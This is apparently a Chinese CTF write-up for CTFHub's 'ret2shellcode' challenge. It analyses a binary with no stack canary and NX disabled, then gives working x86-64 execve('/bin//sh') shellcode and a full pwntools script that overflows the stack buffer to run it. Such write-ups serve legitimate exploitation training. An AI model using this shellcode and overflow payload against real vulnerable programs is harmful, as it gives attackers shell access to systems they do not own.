checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
main函数内容如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2shellcode!");
printf("What is it : [%p] ?\n", &buf, 0LL, 0LL);
puts("Input someting : ");
read(0, &buf, 0x400uLL);
return 0;
}
没有预留的后门,没有开启NX保护。这道题可以写在栈上。用gdb调试,发现栈区可以写入。
buf的地址在程序运行的时候会回显。buf变量总共为24字节。
这次我使用了长度为23字节的shell:
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode。所以要把shellcode放到返回地址之后。
from pwn import *
io = process('./pwn')
io.recvuntil('[')
# buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8
address = int(io.recvuntil(']')[:-1],16)+0x10+0x8+0x8
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = 'a'*0x10+'a'*0x8+p64(address)+shell
io.sendlineafter('someting : ',payload)
io.interactive()